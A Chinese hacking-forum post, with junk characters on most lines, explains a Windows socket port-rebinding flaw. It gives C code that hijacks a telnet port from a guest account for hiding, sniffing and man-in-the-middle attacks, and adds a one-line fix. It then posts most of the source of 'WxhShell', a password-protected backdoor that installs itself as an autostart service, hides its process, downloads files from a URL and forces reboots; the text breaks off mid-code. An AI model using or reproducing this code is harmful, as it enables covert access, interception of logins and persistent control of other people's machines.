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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SX?$H~A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6JFDRsX>)?  
N>}K+M>  
  saddr.sin_family = AF_INET; {OhkuON  
(15Yw9Mv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); YqY6\ mo  
jC Kt;lj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q*y9/HnI  
]6VUqFO)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @+CSY-g$  
kO3k| 6f=  
  这意味着什么?意味着可以进行如下的攻击: " ;R3260  
3@cJ=   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5KH'|z  
g7U:A0Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !NAX6m  
:{xN33@6\X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MMA@J  
J2 rLsNC]0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,@>rubUz  
f`9rT c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -SY:qG3?  
w[A3;]la  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #c)Ou!Ldb  
j3[OY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s-N?Tzi  
9;v"bc Q  
  #include +@],$=aE?  
  #include HlL@{<  
  #include 2-E71-J  
  #include    {O&liU4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dYqDL<se/I  
  int main()  hL{B9?  
  { vK.4JOlRF  
  WORD wVersionRequested; 3D09P5$W  
  DWORD ret; -L'K  
  WSADATA wsaData; 4^NHf|UJH  
  BOOL val; "0 PN  
  SOCKADDR_IN saddr; np\Q&  
  SOCKADDR_IN scaddr; 7}1Kafs  
  int err; +heS\I_Mp  
  SOCKET s; sV'.Bomq  
  SOCKET sc; ' bw,K*  
  int caddsize; :XQ  
  HANDLE mt; 'lRHdD}s  
  DWORD tid;   _TN$c  
  wVersionRequested = MAKEWORD( 2, 2 ); +@)$l+kk9  
  err = WSAStartup( wVersionRequested, &wsaData ); yzNX2u1  
  if ( err != 0 ) { ]ifHA# z`~  
  printf("error!WSAStartup failed!\n"); A-wxf91+:  
  return -1; x5 ~E'~_  
  } yoY)6cn@  
  saddr.sin_family = AF_INET; rU^ghF  
   Okg8Ve2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B*iz+"H  
Isgk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Sw( H]  
  saddr.sin_port = htons(23); Rw{v"n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  ~M^7qO  
  { K y4y  
  printf("error!socket failed!\n"); 'MQGR@*  
  return -1; GK+\-U)v  
  } -Us% g  
  val = TRUE; U?^|>cMr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P_g0G#`4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |ShRxE3@'  
  { fG$.DvJuK  
  printf("error!setsockopt failed!\n"); RHAr[$  
  return -1; XXwhs-:o  
  } :=7'1H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x7 1!r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5)v^ cR?&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gwz _b  
udy;Odt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;,})VoC\!  
  { %dU'$)  
  ret=GetLastError(); ZznWs+  
  printf("error!bind failed!\n"); 7%}3Ghc%  
  return -1; Ng39D#_)  
  } 0S7Isk2W  
  listen(s,2); coVT+we  
  while(1) M)pi)$&c  
  { BBJ]>lQ  
  caddsize = sizeof(scaddr); :::f,aCAu  
  //接受连接请求 +\oHQ=s>}\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); molowPI  
  if(sc!=INVALID_SOCKET) uv!qE1z@':  
  { ~S>ba']  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ![!b^:f  
  if(mt==NULL) #R PB;#{  
  { L0VR(  
  printf("Thread Creat Failed!\n"); wP':B AQ4U  
  break; 2^ZPO4|  
  } "#k(V=y  
  } E=*Q\3G~  
  CloseHandle(mt); wEc5{ b5M  
  } 7CMgvH)O  
  closesocket(s); wP1VQUL  
  WSACleanup(); CgKSK0/a  
  return 0; ?N*@o.  
  }   Q4 :r$ &  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0a%ui2k  
  { 9S1V! Jp  
  SOCKET ss = (SOCKET)lpParam; % P)}(e6y  
  SOCKET sc; #=#$b_6*  
  unsigned char buf[4096]; gpvj'Ri7V  
  SOCKADDR_IN saddr; CPeK0(7Zh  
  long num; I3$vw7}5Y  
  DWORD val; WA\f`SRF  
  DWORD ret; Z_~DTO2Qg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FEmlC,%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gj;G:;1m  
  saddr.sin_family = AF_INET; CscJy0dB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qWRMwvN{  
  saddr.sin_port = htons(23); L [M8[~Hy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {$:13AnK   
  { x2wWp-Z  
  printf("error!socket failed!\n"); '|?r&-5 h  
  return -1; =xet+;~ji  
  } Zs|sPatV<  
  val = 100; ,VsCRp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w|o@r%Q#l  
  { QaBXzf   
  ret = GetLastError(); XJ?z{gXJ  
  return -1; r8 >?-P  
  } '="){  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1H 6Wrik  
  { kDa#yN\  
  ret = GetLastError(); +rP<m  
  return -1; :8wF0n-'  
  } Ud*[2Oi|R  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <ijmkNVS  
  { Z[bC@y[Wb  
  printf("error!socket connect failed!\n");  "<h#Z(  
  closesocket(sc); N|vJrye  
  closesocket(ss); X}Z%@tL  
  return -1; .Q)"F /  
  } oA@^N4PD  
  while(1) mXaUWgO  
  { @+#p: sE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .WE0T|qDX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;_&L^)~P$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bQjHQ"G  
  num = recv(ss,buf,4096,0); 3*JybMo"  
  if(num>0) >G~;2K[  
  send(sc,buf,num,0); 1&"1pH  
  else if(num==0) 0^Cx`xdX:  
  break; 4344PBj  
  num = recv(sc,buf,4096,0); @cGql=t  
  if(num>0) Sxu v}y\  
  send(ss,buf,num,0); S]g)^f'a65  
  else if(num==0) 4O^1gw  
  break; r=aQ S5  
  } F[Sat;Sll  
  closesocket(ss); dtl<  
  closesocket(sc); :|3 C-+[  
  return 0 ; c?",kzo  
  } Ec 7M'~1  
)yZE>>3-  
>GUTno$J  
========================================================== >@uYleD(  
]#.#]}=  
下边附上一个代码,,WXhSHELL K$]B" s  
e90z(EF?0  
========================================================== b;l%1x9r  
1*jm9])#  
#include "stdafx.h" iL1so+di  
cEu98nP  
#include <stdio.h> cfS]C_6d  
#include <string.h> ^dD?riFAk  
#include <windows.h> fZgU@!z  
#include <winsock2.h> T9?_ `h  
#include <winsvc.h> 9 `&D  
#include <urlmon.h> O 9)8a]  
N *>; '  
#pragma comment (lib, "Ws2_32.lib") `<~P>  
#pragma comment (lib, "urlmon.lib") 6^Vf 5W{  
M-|2W~YU  
#define MAX_USER   100 // 最大客户端连接数 V=~dgy ~@  
#define BUF_SOCK   200 // sock buffer [?*^&[  
#define KEY_BUFF   255 // 输入 buffer mJ7kOQ-.$  
c= u ORt>  
#define REBOOT     0   // 重启 mH .I!  
#define SHUTDOWN   1   // 关机 jqedHn x  
a!]%@A6p  
#define DEF_PORT   5000 // 监听端口 C\D4C]/8  
0fU>L^P_?  
#define REG_LEN     16   // 注册表键长度 =x>k:l~s  
#define SVC_LEN     80   // NT服务名长度 a@J :*W  
e?WR={  
// 从dll定义API u*`GIRfWT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9t1_"{'N1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -<=< T@,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wf1DvsJQl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DYK|"@  
Y;>'~V#R  
// wxhshell配置信息 (tN$G:+")F  
struct WSCFG { E!M+37/  
  int ws_port;         // 监听端口 m=V2xoMw6  
  char ws_passstr[REG_LEN]; // 口令 [y>.)BU  
  int ws_autoins;       // 安装标记, 1=yes 0=no K%Bi8d  
  char ws_regname[REG_LEN]; // 注册表键名 XZGyhX7  
  char ws_svcname[REG_LEN]; // 服务名 BW 7[JD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'QU ?O[CH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W9~datIh>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w2L)f,X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e>.xXg6Zn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5H5Kt9DoW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]3'd/v@fT  
s2WB4U k  
}; ps{(UYM=b  
p?@D'  
// default Wxhshell configuration GkFNLM5'  
struct WSCFG wscfg={DEF_PORT, LlJvuQ 28  
    "xuhuanlingzhe", d+'+z %s%  
    1, }kDrUnBk  
    "Wxhshell", [f}1wZ*  
    "Wxhshell", 04t_  
            "WxhShell Service", [&:oS35O  
    "Wrsky Windows CmdShell Service", S\m]ze  
    "Please Input Your Password: ", D=Y HJ>-wB  
  1, /([aD~.  
  "http://www.wrsky.com/wxhshell.exe", x;Q2/YZ#  
  "Wxhshell.exe" oP6G2@3P/  
    }; hlZjk0ez  
oL;/Qan  
// 消息定义模块 )FLpWE"e-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VK#zmEiB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [>86i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {w++)N2sh  
char *msg_ws_ext="\n\rExit."; RP9||PFS~~  
char *msg_ws_end="\n\rQuit."; |IvX7%*]~  
char *msg_ws_boot="\n\rReboot..."; VrK5a9*^  
char *msg_ws_poff="\n\rShutdown..."; Zj;!7ZuT1  
char *msg_ws_down="\n\rSave to "; p\K5B,  
4dP_'0]9A:  
char *msg_ws_err="\n\rErr!"; ) LG/n  
char *msg_ws_ok="\n\rOK!"; Y'T#  
p pq#5t^[)  
char ExeFile[MAX_PATH]; 6BnjT  
int nUser = 0; xT/&'$@{)  
HANDLE handles[MAX_USER]; W+E2({  
int OsIsNt; .B*)A.   
zl5S)/A  
SERVICE_STATUS       serviceStatus; 3^Y-P8.zdB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ^8iy(  
ITV}f#  
// 函数声明 J,7\/O(`A  
int Install(void); vY6|V$  
int Uninstall(void); :?J$ +bm}  
int DownloadFile(char *sURL, SOCKET wsh); ' e@}N)IX  
int Boot(int flag); 'Vd>"ti  
void HideProc(void); DH%X+r  
int GetOsVer(void); J98K:SAR  
int Wxhshell(SOCKET wsl); ?0x;L/d])  
void TalkWithClient(void *cs); OZ6%AUot  
int CmdShell(SOCKET sock); 92i# It}-/  
int StartFromService(void); ~ocr^V{"<~  
int StartWxhshell(LPSTR lpCmdLine); wHmEt ORo  
;b^@o,=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e_I 8Jj4  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  e(^O8  
C1J'. !  
// 数据结构和表定义 -_3.]o/J  
SERVICE_TABLE_ENTRY DispatchTable[] = H;6V  
{ o>YR Kb  
{wscfg.ws_svcname, NTServiceMain}, 2-4%h!  
{NULL, NULL} qA30G~S  
}; O_ c K 4  
0U<9=[~q7@  
// 自我安装 ?=l(29tH  
int Install(void) So:89T  
{ B06/mKZ7  
  char svExeFile[MAX_PATH]; &Lw| t_y  
  HKEY key; [o~w>,a  
  strcpy(svExeFile,ExeFile); ,<BTv;4p  
;p/@tr9  
// 如果是win9x系统,修改注册表设为自启动 8c9_=8vw  
if(!OsIsNt) { >\'yj| U,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~BC5no  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c1`o3gb  
  RegCloseKey(key); 8HzEH-J   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aF:I]]TfK~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1\Mcs X4  
  RegCloseKey(key); C9h8d   
  return 0; S(Pal/-"  
    } ;8@A7`^  
  } ,oC r6 ]  
} F~B8XUa3  
else { Ah,Zm4:  
(.c?)_G,  
// 如果是NT以上系统,安装为系统服务 yVL~SH|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [;(| ^0  
if (schSCManager!=0) ?@nu]~  
{ x~W&a*WNT  
  SC_HANDLE schService = CreateService 7G/"!ePW6`  
  ( pO^ 6p%  
  schSCManager, (<ejJPWT  
  wscfg.ws_svcname, vq{:=:5'P  
  wscfg.ws_svcdisp, \rpu=*gt  
  SERVICE_ALL_ACCESS, $j:0*Z=>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &~j"3G;e  
  SERVICE_AUTO_START, U+K_eEI0_I  
  SERVICE_ERROR_NORMAL, * .e^s3q$  
  svExeFile, +RbCa c  
  NULL, aU3&=aN+  
  NULL, dCHU* 7DS  
  NULL, olqHa5qn  
  NULL, u^ T2  
  NULL ."R 2^`  
  ); *}?^)z7w  
  if (schService!=0) MV/JZ;55  
  { .JzO f[g5  
  CloseServiceHandle(schService); Z5+0?X0i  
  CloseServiceHandle(schSCManager); ISl'g'o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a^2?W  
  strcat(svExeFile,wscfg.ws_svcname); |$D^LY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D@2Tx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xzy9~))o  
  RegCloseKey(key); kxKBI{L  
  return 0; 'K0Y@y  
    } 4U((dx*m  
  } W>"i0p  
  CloseServiceHandle(schSCManager); RGiA>Z:W  
} gAE}3//  
} eC1cE  
X \h]N  
return 1; p5*i d5  
} ?znSA >  
Bp}<H<@  
// 自我卸载 "8-]6p3u  
int Uninstall(void) a9"Gg}h\  
{ ]Z~H9!%t  
  HKEY key; Y A;S'dxY  
;a68>5Lm*  
if(!OsIsNt) { W4Eo1 E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'Ct+0X:D  
  RegDeleteValue(key,wscfg.ws_regname); k\EMO\je  
  RegCloseKey(key); jtZ@`io  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4 0Du*5M  
  RegDeleteValue(key,wscfg.ws_regname); ?-(E$ll  
  RegCloseKey(key); X }^,g  
  return 0;  @]A4{  
  } Tj.;\a|d  
} BqR8%F  
} a/?gp>M9  
else { 13B[m p4  
 iKDGYM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %DiZ&}^Ck  
if (schSCManager!=0) %N!Y}$y  
{ iJq}tIk#2'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); md<%Z4+  
  if (schService!=0) 8zr)oQ:  
  { t.]oLG22r  
  if(DeleteService(schService)!=0) { qD%Jf4.0j  
  CloseServiceHandle(schService); G $?VYC8;  
  CloseServiceHandle(schSCManager); d(h`bOjI  
  return 0; J L]6o8x  
  } *s_)E 2  
  CloseServiceHandle(schService); Xh){W~ -  
  } .>&kA f.  
  CloseServiceHandle(schSCManager); u{I)C0  
} B&tl6?7h  
} z7J#1q~:yY  
]92@&J0w  
return 1; 27;*6/>,  
} &!~q#w1W-5  
e`Yx]3;u(  
// 从指定url下载文件 \5J/ ?  
int DownloadFile(char *sURL, SOCKET wsh) aG,N>0k8  
{ NK d8XQ=%  
  HRESULT hr; #A?U_32z/2  
char seps[]= "/"; a?@j`@]ZR~  
char *token; kRG-~'f%`  
char *file;  37{mhU  
char myURL[MAX_PATH]; \p.ku%{  
char myFILE[MAX_PATH]; 0e3 aWn  
C#(4>'  
strcpy(myURL,sURL); V" I+E  
  token=strtok(myURL,seps); QarA.Ne~  
  while(token!=NULL) RM,r0Kv17Y  
  { U{HJNftdpm  
    file=token; sHKT]^7  
  token=strtok(NULL,seps); ca-|G'q  
  } 1J^{h5?lU  
-p9|l%W  
GetCurrentDirectory(MAX_PATH,myFILE); g,9o'fs`x  
strcat(myFILE, "\\"); J8(v65  
strcat(myFILE, file); ~GMlnA]6  
  send(wsh,myFILE,strlen(myFILE),0); !K_%@|:7%  
send(wsh,"...",3,0); > `u} G1T\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MLaH("aen  
  if(hr==S_OK) q S2#=  
return 0; g3j@o/Y  
else WFy90*@Z  
return 1; M" %w9)@  
'@rGX+"  
} 8{@#N:SY  
iYBs )  
// 系统电源模块 |odl~juU  
int Boot(int flag) O']-<E`1k  
{ p ^T0(\1  
  HANDLE hToken; $--W,ov5j  
  TOKEN_PRIVILEGES tkp; 4R@3jGXb8q  
K6_{AuL}4  
  if(OsIsNt) { %J7 ;b<}To  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H7*/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a+IU<O-J?  
    tkp.PrivilegeCount = 1; #O qfyY!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G[)QGZ}8b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HLa|yc B%  
if(flag==REBOOT) { ,M5J~Ga  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T+RfMEdr  
  return 0; KZJ;O7'`  
} Kp8!^os  
else { ;E(%s=i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <Sb W QbN  
  return 0; $D\SueZ  
} G5?Dt-;I  
  } pzHN:9r  
  else { U!TFFkX[  
if(flag==REBOOT) { ]xb R:CYJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (?D47^F &  
  return 0; b$H{|[  
} u\.7#D>  
else { K6{{\r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o%5^dX&[  
  return 0; 2t*@P"e!  
} "\U$aaF  
} >kd&>)9v  
O8r9&Nv  
return 1; w SBDJvI  
} v 4DF #O  
ZWxq<& Cg  
// win9x进程隐藏模块 rhsSV3iM  
void HideProc(void) TnCN2#BO  
{ l+Uy  
:6./yj(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d7qHUx'=z  
  if ( hKernel != NULL ) X~G!{TT_x6  
  { &%$r3ePwc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2mWW0txil  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `)/G5 fB  
    FreeLibrary(hKernel); /T!S)FD\/v  
  } |#Z:v1]"  
'/J}T -,Z  
return; a$l  
} +K])&}Dw  
inBBU[Sl  
// 获取操作系统版本 g,@0 ;uVq  
int GetOsVer(void) +x\b- '  
{ ng;,;o.  
  OSVERSIONINFO winfo; lrPiaSO`I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^?VYE26  
  GetVersionEx(&winfo); U5[xW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HE,# pj(D  
  return 1; !g-|@W  
  else %tT&/F  
  return 0; 5^~%10=  
} |x3.r t  
Gcna:w>6d  
// 客户端句柄模块 a= +qR:wT  
int Wxhshell(SOCKET wsl) k,LeBCqGcb  
{ `B}( Ln  
  SOCKET wsh; GNlP]9wX  
  struct sockaddr_in client; s `B"qw  
  DWORD myID; ~q 0)+'  
DDsU6RyN  
  while(nUser<MAX_USER) VPx"l5\  
{ > SU2Jw  
  int nSize=sizeof(client); ?6P P_QY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QWp,(Mv:r  
  if(wsh==INVALID_SOCKET) return 1; VImcW;Xa  
X>(?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N{U``LV  
if(handles[nUser]==0) @kw#\%Uz  
  closesocket(wsh); %6}S1fuA  
else \BOZhXfl'  
  nUser++; '8R5?9"  
  } wuSp+?{5k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u=JI 1  
.H {  
  return 0; FIG3P))  
} s-!Bpr16o0  
gJ6 C&8tl  
// 关闭 socket {{7%z4l  
void CloseIt(SOCKET wsh) %]S~PKx  
{ 2It$ bz  
closesocket(wsh); _h", ,"p#o  
nUser--; g} 7FR({b  
ExitThread(0); sDL@e33Yb  
} RsIR}.*  
<2Lcy&w_M  
// 客户端请求句柄 Bvj-LT=)  
void TalkWithClient(void *cs) {%.FIw k  
{ O:cta/M  
c%9wI*l  
  SOCKET wsh=(SOCKET)cs; o7' cC?u  
  char pwd[SVC_LEN]; B:Ec(USe  
  char cmd[KEY_BUFF]; >bWx!M]  
char chr[1]; ?kEcYD  
int i,j; m{4e+&S|  
L8("1_  
  while (nUser < MAX_USER) { 0hnTHlk  
:SjTkfU  
if(wscfg.ws_passstr) { ">PpC]Y1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0vbiq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u;rK.3o  
  //ZeroMemory(pwd,KEY_BUFF); uKHkC.g  
      i=0; GP6-5Y"8  
  while(i<SVC_LEN) { E~Eh'>Y(B  
+Bk" khH  
  // 设置超时 |d\ rCq >  
  fd_set FdRead; l ps 6lnh  
  struct timeval TimeOut; {Hxvt~P  
  FD_ZERO(&FdRead); O&YX V  
  FD_SET(wsh,&FdRead); H. UwM  
  TimeOut.tv_sec=8;  W|XTa  
  TimeOut.tv_usec=0; E#?*6/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S(<r-bV<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %upnXRzw  
G?e"A0,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hyqsMkW|  
  pwd=chr[0]; !m)P*Lw  
  if(chr[0]==0xd || chr[0]==0xa) { >Q':+|K}  
  pwd=0; __<u!;f  
  break; vcTWe$;Q  
  } =@$G3DM  
  i++; d1$3~Xl]  
    } ~Vq<nkWS  
PI@/jh  
  // 如果是非法用户,关闭 socket Bwv@D4bii  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7 \)OWp  
} ej-x^G?C  
MN1 kR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -{H; w=9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }? j>V  
2(~Y ^_  
while(1) { )f(.{M  
wG6@. ;3  
  ZeroMemory(cmd,KEY_BUFF); 3";Rw9  
DrE +{Spm  
      // 自动支持客户端 telnet标准   2K?~)q&t*  
  j=0; *c'nPa$+|S  
  while(j<KEY_BUFF) { Esh3 cn4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NMq#D$T  
  cmd[j]=chr[0]; <%WN<T{q|  
  if(chr[0]==0xa || chr[0]==0xd) { Z@ AHe`A  
  cmd[j]=0; $t.i)wg +  
  break; ^3B)i=  
  } &<8Q/m]5  
  j++; H{Tt>k  
    } <X9  T}g  
{.c(Sw}Eo  
  // 下载文件 *h6Lh]7  
  if(strstr(cmd,"http://")) { r~ gjn`W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6b1f ?0  
  if(DownloadFile(cmd,wsh)) ds@X%L;_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fl{:aq"3  
  else zs#s"e:jeR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Exir?G}\  
  } 3exv k  
  else { D4 {?f<G0F  
"JI FF_  
    switch(cmd[0]) { 5)X;q-  
  ZI"L\q=|0#  
  // 帮助  !]]QbB  
  case '?': { S |SN3)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IHqY/j  
    break; Kjbt1n  
  } eZDqW)x  
  // 安装 ="E^9!  
  case 'i': { 3I!xa*u  
    if(Install()) cI}qMc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O^fg~g X  
    else 8\,|T2w,X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A)9[.fhx  
    break; yKE[,"  
    } ,#=ykg*~/  
  // 卸载 kO3{2$S6  
  case 'r': { .yz-o\,gF%  
    if(Uninstall()) Z9cg,#(D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [e1kfw  
    else /Mk85C79  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @**@W[EM  
    break; a& >(*PQ  
    } ua$H"(#c  
  // 显示 wxhshell 所在路径 >~O36q^w  
  case 'p': { hw[jVx  
    char svExeFile[MAX_PATH]; +$]eA'Bh@  
    strcpy(svExeFile,"\n\r"); TBq;#+1W  
      strcat(svExeFile,ExeFile); $@m)8T  
        send(wsh,svExeFile,strlen(svExeFile),0); ;8WgbR)ZLU  
    break; qyXx`'e  
    } 7U=|>)Q0s  
  // 重启 G9?6qb:  
  case 'b': { ^X2U A{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u{%gB&nC  
    if(Boot(REBOOT)) *69 yB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /8!s C D  
    else { 5#jna9Xc  
    closesocket(wsh); HN'r ZAZ(  
    ExitThread(0); =)Z!qjf1U  
    } +uR|0Jo8X  
    break; p^^Ai  
    } B<.XowT'  
  // 关机 /4 zO  
  case 'd': { j.C)KwelBS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @V$,H/v:  
    if(Boot(SHUTDOWN)) C+ {du^c$  
